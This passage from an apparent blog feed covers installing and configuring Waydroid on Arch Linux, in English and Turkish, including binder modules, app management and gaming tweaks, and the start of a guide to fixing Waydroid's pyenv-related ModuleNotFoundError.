</code></pre></div> <div class="admonition tip"> <p class="admonition-title">If binder module is not active, service cannot start ⚡ You can check with <code>dmesg | grep binder</code>.</p> </div> <hr/> <h2 id="step-4-starting-waydroid-environment">Step 4: Starting Waydroid Environment<a class="headerlink" href="#step-4-starting-waydroid-environment" title="Permanent link">#</a></h2> <p>Start the Waydroid container:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>waydroid<span class="w"> </span>init </code></pre></div> <p>The initial installation may take a few minutes. After installation is complete:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>start waydroid<span class="w"> </span>show-full-ui </code></pre></div> <div class="admonition tip"> <p class="admonition-title">If you use Wayland or GNOME Shell 💡 The <code>waydroid show-full-ui</code> command opens the Android interface on the desktop.</p> </div> <hr/> <h2 id="step-5-application-management">Step 5: Application Management<a class="headerlink" href="#step-5-application-management" title="Permanent link">#</a></h2> <h3 id="application-list">Application List<a class="headerlink" href="#application-list" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>app<span class="w"> </span>list </code></pre></div> <h3 id="launch-application">Launch Application<a class="headerlink" href="#launch-application" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>app<span class="w"> </span>launch<span class="w"> </span>com.android.settings </code></pre></div> <h3 id="install-application">Install Application<a class="headerlink" href="#install-application" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>app<span class="w"> </span>install<span class="w"> </span>~/Downloads/application.apk </code></pre></div> <div class="admonition note"> <p class="admonition-title">Some APKs may not work ⚡ Applications requiring Google services do not work without GApps.</p> </div> <hr/> <h2 id="step-6-stopping-waydroid_1">Step 6: Stopping Waydroid<a class="headerlink" href="#step-6-stopping-waydroid" title="Permanent link">#</a></h2> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>stop sudo<span class="w"> </span>systemctl<span class="w"> </span>stop<span class="w"> </span>waydroid-container.service </code></pre></div> <hr/> <h2 id="step-7-troubleshooting">Step 7: Troubleshooting<a class="headerlink" href="#step-7-troubleshooting" title="Permanent link">#</a></h2> <h3 id="waydroid-logs">Waydroid Logs<a class="headerlink" href="#waydroid-logs" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>log </code></pre></div> <h3 id="if-binder-module-is-not-loaded">If Binder Module is Not Loaded<a class="headerlink" href="#if-binder-module-is-not-loaded" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>modprobe<span class="w"> </span>binder_linux sudo<span class="w"> </span>systemctl<span class="w"> </span>restart<span class="w"> </span>waydroid-container.service </code></pre></div> <div class="admonition warning"> <p class="admonition-title">If you get No binder devices found error ⚠️ Install a custom kernel if necessary.</p> </div> <hr/> <h2 id="step-8-advanced-settings-and-gaming-experience_1">Step 8: Advanced Settings and Gaming Experience ⚙️<a class="headerlink" href="#step-8-advanced-settings-and-gaming-experience" title="Permanent link">#</a></h2> <h3 id="81-fake-wi-fi">8.1 Fake Wi-Fi<a class="headerlink" href="#81-fake-wi-fi" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>prop<span class="w"> </span><span class="nb">set</span><span class="w"> </span>persist.waydroid.fake_wifi<span class="w"> </span><span class="s2">"com.lilithgame.roc.gp"</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Provides fake Wi-Fi for specific applications 💡</p> </div> <h3 id="82-udev-and-uevent">8.2 Udev and Uevent<a class="headerlink" href="#82-udev-and-uevent" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>prop<span class="w"> </span><span class="nb">set</span><span class="w"> </span>persist.waydroid.udev<span class="w"> </span><span class="nb">true</span> waydroid<span class="w"> </span>prop<span class="w"> </span><span class="nb">set</span><span class="w"> </span>persist.waydroid.uevent<span class="w"> </span><span class="nb">true</span> </code></pre></div> <div class="admonition note"> <p class="admonition-title">Forwards Linux hardware events to Android side ⚡</p> </div> <h3 id="83-gamepad-support">8.3 Gamepad Support 🎮<a class="headerlink" href="#83-gamepad-support" title="Permanent link">#</a></h3> <p>After connecting the control device, it is automatically recognized by Android. If there are problems, check the <code>/dev/input</code> directory.</p> <h3 id="84-xtr-keymapper">8.4 XTR KeyMapper<a class="headerlink" href="#84-xtr-keymapper" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sh<span class="w"> </span>/sdcard/Android/data/xtr.keymapper/files/xtMapper.sh </code></pre></div> <p>or</p> <div class="highlight"><pre><span></span><code>/system/bin/app_process<span class="w"> </span>-Djava.library.path<span class="o">=</span><span class="k">$(</span><span class="nb">echo</span><span class="w"> </span>/data/app/*/xtr.keymapper*/lib/x86_64<span class="k">)</span><span class="w"> </span><span class="se">\</span> -Djava.class.path<span class="o">=</span><span class="k">$(</span><span class="nb">echo</span><span class="w"> </span>/data/app/*/xtr.keymapper*/base.apk<span class="k">)</span><span class="w"> </span>/<span class="w"> </span>xtr.keymapper.server.RemoteServiceShell </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Manually starts key mappings 💡</p> </div> <h3 id="85-memory-management">8.5 Memory Management<a class="headerlink" href="#85-memory-management" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>stop<span class="w"> </span>waydroid-container </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Stops container and frees memory ⚠️</p> </div> <h3 id="86-initial-start">8.6 Initial Start<a class="headerlink" href="#86-initial-start" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>waydroid-container </code></pre></div> <p>In subsequent sessions:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>start </code></pre></div> <hr/> <h2 id="conclusion_1">Conclusion 🎯<a class="headerlink" href="#conclusion" title="Permanent link">#</a></h2> <p>Now <strong>Waydroid installation and advanced settings on Arch Linux</strong> are complete! You can get an optimized experience with Android games, gamepad, fake Wi-Fi, and key mappings.</p> <div class="admonition tip"> <p class="admonition-title">Advanced setting 💡 With <code>waydroid prop set persist.waydroid.debug_shell true</code> you can see live Android shell errors.</p> </div> <hr/> <h2 id="resources">Resources<a class="headerlink" href="#resources" title="Permanent link">#</a></h2> <ul> <li><a href="https://wiki.archlinux.org/title/Waydroid" rel="noopener noreferrer" target="_blank">Waydroid - Arch Linux Wiki</a></li> <li><a href="https://github.com/waydroid/waydroid" rel="noopener noreferrer" target="_blank">Waydroid GitHub</a></li> <li><a href="https://linuxcontainers.org/lxc/introduction/" rel="noopener noreferrer" target="_blank">LXC Containers Documentation</a></li> <li><a href="https://github.com/Xtr126/XtMapper" rel="noopener noreferrer" target="_blank">XTR KeyMapper Project</a></li> </ul> <script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"></script> <p><lite-youtube videoid="HVQBmWN5ZaU"></lite-youtube></p>2025-10-26T03:00:00+03:002025-10-26T03:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-10-26:/arch-linux-waydroid-kurulumu/

<p>Arch Linux üzerinde Waydroid kurulumu ve gelişmiş ayarlarla Android uygulamalarını masaüstünde çalıştırın. Binder modüllerini etkinleştirin ve oyun deneyiminizi geliştirin.</p>

<h2 id="giris">Giri&scedil;<a class="headerlink" href="#giris" title="Permanent link">#</a></h2> <p>E&gbreve;er <strong>Arch Linux &uuml;zerinde Waydroid kurulumu</strong> yapmak istiyorsan, do&gbreve;ru yerdesin. Bu rehberde Waydroid&rsquo;in ne oldu&gbreve;unu, hangi paketlerin gerekli oldu&gbreve;unu, sistem mod&uuml;llerinin nas&inodot;l y&uuml;klenece&gbreve;ini ve Waydroid&rsquo;in ilk kez nas&inodot;l &ccedil;al&inodot;&scedil;t&inodot;r&inodot;laca&gbreve;&inodot;n&inodot; ad&inodot;m ad&inodot;m g&ouml;sterece&gbreve;iz.</p> <p>Waydroid, Linux &uuml;zerinde Android uygulamalar&inodot;n&inodot; <strong>container (kapsay&inodot;c&inodot;)</strong> i&ccedil;inde &ccedil;al&inodot;&scedil;t&inodot;rman&inodot; sa&gbreve;layan bir projedir. Android ortam&inodot;n&inodot;, sistemine sanal makine kurmadan do&gbreve;rudan <strong>LXC (Linux Containers)</strong> &uuml;zerinden &ccedil;al&inodot;&scedil;t&inodot;r&inodot;r. Bu sayede &ccedil;ok daha h&inodot;zl&inodot;, entegre ve kaynak dostu bir Android deneyimi elde edersin ⚡</p> <p>Bu rehberin sonunda:</p> <ul> <li>Arch Linux&rsquo;ta Waydroid&rsquo;i s&inodot;f&inodot;rdan kurabileceksin,</li> <li>Binder mod&uuml;llerini etkinle&scedil;tirmeyi &ouml;&gbreve;reneceksin,</li> <li>Waydroid sistem servislerini y&ouml;neteceksin,</li> <li>Android uygulamalar&inodot;n&inodot; masa&uuml;st&uuml;nde sorunsuz &scedil;ekilde ba&scedil;latabileceksin,</li> <li>Geli&scedil;mi&scedil; &ouml;zellikler ile oyun deneyimini optimize edebileceksin.</li> </ul> <hr/> <h2 id="waydroid-nedir">Waydroid Nedir?<a class="headerlink" href="#waydroid-nedir" title="Permanent link">#</a></h2> <p><strong>Waydroid</strong>, Linux sistemlerde Android uygulamalar&inodot;n&inodot; &ccedil;al&inodot;&scedil;t&inodot;rmak i&ccedil;in tasarlanm&inodot;&scedil; a&ccedil;&inodot;k kaynakl&inodot; bir ara&ccedil;t&inodot;r. Basit&ccedil;e a&ccedil;&inodot;klamak gerekirse:</p> <blockquote> <p>Android i&scedil;letim sistemini, sistem kaynaklar&inodot;n&inodot; sanal makineye kapatmadan do&gbreve;rudan Linux &ccedil;ekirde&gbreve;i &uuml;zerinde izole bir ortamda &ccedil;al&inodot;&scedil;t&inodot;r&inodot;r.</p> </blockquote> <p>Waydroid, <strong>LXC</strong> tabanl&inodot; konteyner teknolojisini kullan&inodot;r. Bu sayede:</p> <ul> <li>Performans, sanal makinelere g&ouml;re &ccedil;ok daha y&uuml;ksektir,</li> <li>Donan&inodot;m h&inodot;zland&inodot;rmas&inodot; kullan&inodot;labilir,</li> <li>Sistem kaynaklar&inodot; verimli &scedil;ekilde payla&scedil;&inodot;l&inodot;r.</li> </ul> <h3 id="temel-bilesenler">Temel Bile&scedil;enler<a class="headerlink" href="#temel-bilesenler" title="Permanent link">#</a></h3> <table> <thead> <tr> <th>Bile&scedil;en</th> <th>A&ccedil;&inodot;klama</th> </tr> </thead> <tbody> <tr> <td><strong>waydroid</strong></td> <td>Ana komut sat&inodot;r&inodot; arac&inodot;d&inodot;r</td> </tr> <tr> <td><strong>binder_linux</strong></td> <td>Android binder arabirimini sa&gbreve;lar</td> </tr> <tr> <td><strong>ashmem_linux</strong></td> <td>Android shared memory mod&uuml;l&uuml;d&uuml;r</td> </tr> <tr> <td><strong>systemd servisleri</strong></td> <td>Waydroid&rsquo;in konteynerini otomatik ba&scedil;lat&inodot;r</td> </tr> </tbody> </table> <hr/> <h2 id="adm-1-gerekli-paketleri-yukleme_1">Ad&inodot;m 1: Gerekli Paketleri Y&uuml;kleme<a class="headerlink" href="#adm-1-gerekli-paketleri-yukleme" title="Permanent link">#</a></h2> <p>&Idot;lk olarak Waydroid ve gerekli mod&uuml;lleri sistemine y&uuml;kleyelim. Arch Linux kullan&inodot;c&inodot;lar&inodot; i&ccedil;in <code>pacman</code> ve <code>yay</code> kullan&inodot;m&inodot; en kolay y&ouml;ntemdir.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-Syu<span class="w"> </span>lxc<span class="w"> </span>python-gbinder yay<span class="w"> </span>-S<span class="w"> </span>waydroid </code></pre></div> <div class="admonition tip"> <p class="admonition-title">E&gbreve;er <code>yay</code> kurulu de&gbreve;ilse 💡</p> </div> <p><code>yay</code> yard&inodot;mc&inodot; arac&inodot;n&inodot; y&uuml;klemek i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>base-devel<span class="w"> </span>git git<span class="w"> </span>clone<span class="w"> </span>https://aur.archlinux.org/yay.git <span class="nb">cd</span><span class="w"> </span>yay makepkg<span class="w"> </span>-si </code></pre></div> <hr/> <h2 id="adm-2-binder-ve-ashmem-modullerini-etkinlestirme">Ad&inodot;m 2: Binder ve Ashmem Mod&uuml;llerini Etkinle&scedil;tirme<a class="headerlink" href="#adm-2-binder-ve-ashmem-modullerini-etkinlestirme" title="Permanent link">#</a></h2> <p>Waydroid&rsquo;in Android bile&scedil;enleriyle haberle&scedil;ebilmesi i&ccedil;in <strong>binder</strong> ve <strong>ashmem</strong> mod&uuml;llerinin aktif olmas&inodot; gerekir.</p> <div class="highlight"><pre><span></span><code>lsmod<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>binder lsmod<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>ashmem </code></pre></div> <p>E&gbreve;er &ccedil;&inodot;kt&inodot;da sonu&ccedil; yoksa:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>modprobe<span class="w"> </span>binder_linux sudo<span class="w"> </span>modprobe<span class="w"> </span>ashmem_linux </code></pre></div> <div class="admonition note"> <p class="admonition-title">Kal&inodot;c&inodot; yapmak i&ccedil;in ⚡ Mod&uuml;lleri her yeniden ba&scedil;latmada otomatik y&uuml;klemek istiyorsan:</p> </div> <div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span>-e<span class="w"> </span><span class="s2">"binder_linux\nashmem_linux"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>sudo<span class="w"> </span>tee<span class="w"> </span>/etc/modules-load.d/waydroid.conf </code></pre></div> <hr/> <h2 id="adm-3-waydroid-servislerini-etkinlestirme">Ad&inodot;m 3: Waydroid Servislerini Etkinle&scedil;tirme<a class="headerlink" href="#adm-3-waydroid-servislerini-etkinlestirme" title="Permanent link">#</a></h2> <p>Waydroid sistemde iki ana servis kullan&inodot;r:</p> <ul> <li><code>waydroid-container.service</code></li> <li><code>waydroid-session.service</code></li> </ul> <p>Servisleri etkinle&scedil;tirmek i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>--now<span class="w"> </span>waydroid-container.service </code></pre></div> <p>Durumu kontrol et:</p> <div class="highlight"><pre><span></span><code>systemctl<span class="w"> </span>status<span class="w"> </span>waydroid-container.service </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Binder mod&uuml;l&uuml; aktif de&gbreve;ilse servis ba&scedil;lat&inodot;lamaz ⚡ <code>dmesg | grep binder</code> ile kontrol edebilirsin.</p> </div> <hr/> <h2 id="adm-4-waydroid-ortamn-baslatma">Ad&inodot;m 4: Waydroid Ortam&inodot;n&inodot; Ba&scedil;latma<a class="headerlink" href="#adm-4-waydroid-ortamn-baslatma" title="Permanent link">#</a></h2> <p>Waydroid konteynerini ba&scedil;lat:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>waydroid<span class="w"> </span>init </code></pre></div> <p>&Idot;lk kurulum birka&ccedil; dakika s&uuml;rebilir. Kurulum tamamland&inodot;ktan sonra:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>start waydroid<span class="w"> </span>show-full-ui </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Wayland veya GNOME Shell kullan&inodot;yorsan 💡 <code>waydroid show-full-ui</code> komutu masa&uuml;st&uuml; &uuml;zerinde Android aray&uuml;z&uuml;n&uuml; a&ccedil;ar.</p> </div> <hr/> <h2 id="adm-5-uygulama-yonetimi">Ad&inodot;m 5: Uygulama Y&ouml;netimi<a class="headerlink" href="#adm-5-uygulama-yonetimi" title="Permanent link">#</a></h2> <h3 id="uygulama-listesi">Uygulama Listesi<a class="headerlink" href="#uygulama-listesi" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>app<span class="w"> </span>list </code></pre></div> <h3 id="uygulama-baslatma">Uygulama Ba&scedil;latma<a class="headerlink" href="#uygulama-baslatma" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>app<span class="w"> </span>launch<span class="w"> </span>com.android.settings </code></pre></div> <h3 id="uygulama-kurma">Uygulama Kurma<a class="headerlink" href="#uygulama-kurma" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>app<span class="w"> </span>install<span class="w"> </span>~/Downloads/uygulama.apk </code></pre></div> <div class="admonition note"> <p class="admonition-title">Baz&inodot; APK'lar &ccedil;al&inodot;&scedil;mayabilir ⚡ Google servisleri gerektiren uygulamalar GApps olmadan &ccedil;al&inodot;&scedil;maz.</p> </div> <hr/> <h2 id="adm-6-waydroidi-durdurmak_1">Ad&inodot;m 6: Waydroid&rsquo;i Durdurmak<a class="headerlink" href="#adm-6-waydroidi-durdurmak" title="Permanent link">#</a></h2> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>stop sudo<span class="w"> </span>systemctl<span class="w"> </span>stop<span class="w"> </span>waydroid-container.service </code></pre></div> <hr/> <h2 id="adm-7-sorun-giderme">Ad&inodot;m 7: Sorun Giderme<a class="headerlink" href="#adm-7-sorun-giderme" title="Permanent link">#</a></h2> <h3 id="waydroid-loglar">Waydroid Loglar&inodot;<a class="headerlink" href="#waydroid-loglar" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>log </code></pre></div> <h3 id="binder-modulu-yuklenmemisse">Binder Mod&uuml;l&uuml; Y&uuml;klenmemi&scedil;se<a class="headerlink" href="#binder-modulu-yuklenmemisse" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>modprobe<span class="w"> </span>binder_linux sudo<span class="w"> </span>systemctl<span class="w"> </span>restart<span class="w"> </span>waydroid-container.service </code></pre></div> <div class="admonition warning"> <p class="admonition-title">No binder devices found hatas&inodot; al&inodot;rsan ⚠️ Gerekirse &ouml;zel &ccedil;ekirdek y&uuml;kle.</p> </div> <hr/> <h2 id="adm-8-gelismis-ayarlar-ve-oyun-deneyimi_1">Ad&inodot;m 8: Geli&scedil;mi&scedil; Ayarlar ve Oyun Deneyimi ⚙️<a class="headerlink" href="#adm-8-gelismis-ayarlar-ve-oyun-deneyimi" title="Permanent link">#</a></h2> <h3 id="81-sahte-wi-fi">8.1 Sahte Wi-Fi<a class="headerlink" href="#81-sahte-wi-fi" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>prop<span class="w"> </span><span class="nb">set</span><span class="w"> </span>persist.waydroid.fake_wifi<span class="w"> </span><span class="s2">"com.lilithgame.roc.gp"</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Belirli uygulamalar i&ccedil;in sahte Wi-Fi sa&gbreve;lar 💡</p> </div> <h3 id="82-udev-ve-uevent">8.2 Udev ve Uevent<a class="headerlink" href="#82-udev-ve-uevent" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>prop<span class="w"> </span><span class="nb">set</span><span class="w"> </span>persist.waydroid.udev<span class="w"> </span><span class="nb">true</span> waydroid<span class="w"> </span>prop<span class="w"> </span><span class="nb">set</span><span class="w"> </span>persist.waydroid.uevent<span class="w"> </span><span class="nb">true</span> </code></pre></div> <div class="admonition note"> <p class="admonition-title">Linux donan&inodot;m olaylar&inodot;n&inodot; Android taraf&inodot;na iletir ⚡</p> </div> <h3 id="83-gamepad-destegi">8.3 Gamepad Deste&gbreve;i 🎮<a class="headerlink" href="#83-gamepad-destegi" title="Permanent link">#</a></h3> <p>Kontrol cihaz&inodot;n&inodot; ba&gbreve;lad&inodot;ktan sonra Android taraf&inodot;ndan otomatik tan&inodot;n&inodot;r. Sorun varsa <code>/dev/input</code> dizinini kontrol et.</p> <h3 id="84-xtr-keymapper">8.4 XTR KeyMapper<a class="headerlink" href="#84-xtr-keymapper" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sh<span class="w"> </span>/sdcard/Android/data/xtr.keymapper/files/xtMapper.sh </code></pre></div> <p>veya</p> <div class="highlight"><pre><span></span><code>/system/bin/app_process<span class="w"> </span>-Djava.library.path<span class="o">=</span><span class="k">$(</span><span class="nb">echo</span><span class="w"> </span>/data/app/*/xtr.keymapper*/lib/x86_64<span class="k">)</span><span class="w"> </span><span class="se">\</span> -Djava.class.path<span class="o">=</span><span class="k">$(</span><span class="nb">echo</span><span class="w"> </span>/data/app/*/xtr.keymapper*/base.apk<span class="k">)</span><span class="w"> </span>/<span class="w"> </span>xtr.keymapper.server.RemoteServiceShell </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Tuș atamalar&inodot;n&inodot; manuel ba&scedil;lat&inodot;r 💡</p> </div> <h3 id="85-bellek-yonetimi">8.5 Bellek Y&ouml;netimi<a class="headerlink" href="#85-bellek-yonetimi" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>stop<span class="w"> </span>waydroid-container </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Konteyneri durdurur ve belle&gbreve;i bo&scedil;alt&inodot;r ⚠️</p> </div> <h3 id="86-ilk-baslatma">8.6 &Idot;lk Ba&scedil;latma<a class="headerlink" href="#86-ilk-baslatma" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>waydroid-container </code></pre></div> <p>Sonraki oturumlarda:</p> <div class="highlight"><pre><span></span><code>waydroid<span class="w"> </span>session<span class="w"> </span>start </code></pre></div> <hr/> <h2 id="sonuc_1">Sonu&ccedil; 🎯<a class="headerlink" href="#sonuc" title="Permanent link">#</a></h2> <p>Art&inodot;k <strong>Arch Linux&rsquo;ta Waydroid kurulumu ve geli&scedil;mi&scedil; ayarlar</strong> tamam! Android oyunlar&inodot;, gamepad, sahte Wi-Fi ve tu&scedil; e&scedil;lemeleri ile optimize bir deneyim elde edebilirsin.</p> <div class="admonition tip"> <p class="admonition-title">Geli&scedil;mi&scedil; ayar 💡 <code>waydroid prop set persist.waydroid.debug_shell true</code> ile canl&inodot; Android shell hatalar&inodot;n&inodot; g&ouml;rebilirsin.</p> </div> <hr/> <h2 id="kaynaklar">Kaynaklar<a class="headerlink" href="#kaynaklar" title="Permanent link">#</a></h2> <ul> <li><a href="https://wiki.archlinux.org/title/Waydroid" rel="noopener noreferrer" target="_blank">Waydroid - Arch Linux Wiki</a></li> <li><a href="https://github.com/waydroid/waydroid" rel="noopener noreferrer" target="_blank">Waydroid GitHub</a></li> <li><a href="https://linuxcontainers.org/lxc/introduction/" rel="noopener noreferrer" target="_blank">LXC Containers Documentation</a></li> <li><a href="https://github.com/Xtr126/XtMapper" rel="noopener noreferrer" target="_blank">XTR KeyMapper Projesi</a></li> </ul> <script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"></script> <p><lite-youtube videoid="HVQBmWN5ZaU"></lite-youtube></p>2025-10-25T03:00:00+03:002025-10-25T03:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-10-25:/en/weston-ile-waydroid-modulenotfounderror-hatasi-cozumu/

<p>Learn the reasons and step-by-step solution for the frequently encountered "ModuleNotFoundError" error during Waydroid installation. Run smoothly on Weston! ⚡</p>

<script type="application/ld+json">{"@context": "https://schema.org", "@type": "VideoObject", "name": "Installing Waydroid with Weston: ModuleNotFoundError Error and Solution", "description": "<p>Learn the reasons and step-by-step solution for the frequently encountered \"ModuleNotFoundError\" error during Waydroid installation. Run smoothly on Weston! ⚡</p>", "thumbnailUrl": "https://i.ytimg.com/vi/HVQBmWN5ZaU/hqdefault.jpg", "uploadDate": "2025-10-25T03:00:00+03:00", "embedUrl": "https://www.youtube.com/embed/HVQBmWN5ZaU"}</script> <h2 id="introduction">Introduction<a class="headerlink" href="#introduction" title="Permanent link">#</a></h2> <p>Waydroid is an excellent tool that allows you to run Android applications on Linux. However, when installing on the Weston desktop environment, many users encounter the <strong>Python "ModuleNotFoundError" error</strong>. In this guide, I will explain the reasons and solution for this error step by step, especially for systems using <strong>pyenv</strong>.</p> <p>This error usually appears as follows:</p> <ul> <li><code>ModuleNotFoundError: No module named 'gbinder'</code></li> <li><code>ModuleNotFoundError: No module named 'tools'</code></li> </ul> <p>If you also received one of these errors, you're in the right place 💡 Now let's see the root cause of the problem and how to solve it together.</p> <hr/> <h2 id="encountered-errors">Encountered Errors<a class="headerlink" href="#encountered-errors" title="Permanent link">#</a></h2> <h3 id="error-1-modulenotfounderror-no-module-named-gbinder">Error 1: <code>ModuleNotFoundError: No module named 'gbinder'</code><a class="headerlink" href="#error-1-modulenotfounderror-no-module-named-gbinder" title="Permanent link">#</a></h3> <p>When you try to start the Waydroid session, you may encounter the following error:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>waydroid<span class="w"> </span>session<span class="w"> </span>start Traceback<span class="w"> </span><span class="o">(</span>most<span class="w"> </span>recent<span class="w"> </span>call<span class="w"> </span>last<span class="o">)</span>: <span class="w"> </span>File<span class="w"> </span><span class="s2">"/usr/bin/waydroid"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">7</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span>&lt;module&gt; <span class="w"> </span>import<span class="w"> </span>tools <span class="w"> </span>File<span class="w"> </span><span class="s2">"/usr/lib/waydroid/tools/__init__.py"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">12</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span>&lt;module&gt; <span class="w"> </span>from<span class="w"> </span>.<span class="w"> </span>import<span class="w"> </span>actions <span class="w"> </span>... <span class="w"> </span>File<span class="w"> </span><span class="s2">"/usr/lib/waydroid/tools/interfaces/IPlatform.py"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">1</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span>&lt;module&gt; <span class="w"> </span>import<span class="w"> </span>gbinder ModuleNotFoundError:<span class="w"> </span>No<span class="w"> </span>module<span class="w"> </span>named<span class="w"> </span><span class="s1">'gbinder'</span> </code></pre></div> <h3 id="error-2-modulenotfounderror-no-module-named-tools">Error 2: <code>ModuleNotFoundError: No module named 'tools'</code><a class="headerlink" href="#error-2-modulenotfounderror-no-module-named-tools" title="Permanent link">#</a></h3> <p>After solving the first error, sometimes a second error appears:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>waydroid<span class="w"> </span>session<span class="w"> </span>start Traceback<span class="w"> </span><span class="o">(</span>most<span class="w"> </span>recent<span class="w"> </span>call<span class="w"> </span>last<span class="o">)</span>: <span class="w"> </span>File<span class="w"> </span><span class="s2">"/usr/bin/waydroid"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">7</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span>&lt;module&gt; <span class="w"> </span>import<span class="w"> </span>tools ModuleNotFoundError:<span class="w"> </span>No<span class="w"> </span>module<span class="w"> </span>named<span class="w"> </span><span class="s1">'tools'</span> </code></pre></div> <p>These two errors are caused by incompatibility between the Python interpreter and Waydroid's runtime environment on the system.</p> <hr/> <h2 id="root-cause-of-the-problem_1">Root Cause of the Problem<a class="headerlink" href="#root-cause-of-the-problem" title="Permanent link">#</a></h2> <p>The main reasons for these errors are as follows:</p> <ol> <li> <p><strong>Pyenv PATH priority:</strong> The <code>/usr/bin/python3</code> symlink may have been pointed to pyenv's own Python version.</p> </li> <li> <p><strong>Wrong Shebang:</strong> The Waydroid script uses the <code>#!/usr/bin/env python3</code> line. This line calls the first Python interpreter in the PATH - which is usually the pyenv version.</p> </li> <li> <p><strong>Missing module path:</strong> Waydroid's own module directory (<code>/usr/lib/waydroid</code>) is not included in the Python path.</p> </li> </ol> <div class="admonition note"> <p class="admonition-title">These errors are usually caused by conflicts between pyenv and system Python ⚡</p> </div> <hr/> <h2 id="step-by-step-solution">Step-by-Step Solution<a class="headerlink" href="#step-by-step-solution" title="Permanent link">#</a></h2> <h3 id="1-check-which-python-is-being-used">1. Check Which Python Is Being Used<a class="headerlink" href="#1-check-which-python-is-being-used" title="Permanent link">#</a></h3> <p>First, let's check which Python interpreter is running on the system:</p> <div class="highlight"><pre><span></span><code>which<span class="w"> </span>python3 <span class="c1"># Sample output: /home/user/.pyenv/shims/python3</span> </code></pre></div> <p>To see where the system Python is located:</p> <div class="highlight"><pre><span></span><code>ls<span class="w"> </span>-la<span class="w"> </span>/usr/bin/python3* </code></pre></div> <p>Here you will see the real system Python (for example <code>python3.13</code>).</p> <div class="admonition tip"> <p class="admonition-title">Pyenv shadows the system Python by changing the PATH order. Therefore, it is very important to identify the correct interpreter 💡</p> </div> <hr/> <h3 id="2-check-required-packages">2. Check Required Packages<a class="headerlink" href="#2-check-required-packages" title="Permanent link">#</a></h3> <p>Make sure the Python modules required for Waydroid are installed:</p> <div class="highlight"><pre><span></span><code>pacman<span class="w"> </span>-Qs<span class="w"> </span>gbinder </code></pre></div> <p>The following packages must be installed:</p> <ul> <li><code>libgbinder</code></li> <li><code>python-gbinder</code></li> </ul> <p>If missing, you can install with the following command:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>libgbinder<span class="w"> </span>python-gbinder </code></pre></div> <hr/> <h3 id="3-fix-python-symlink">3. Fix Python Symlink<a 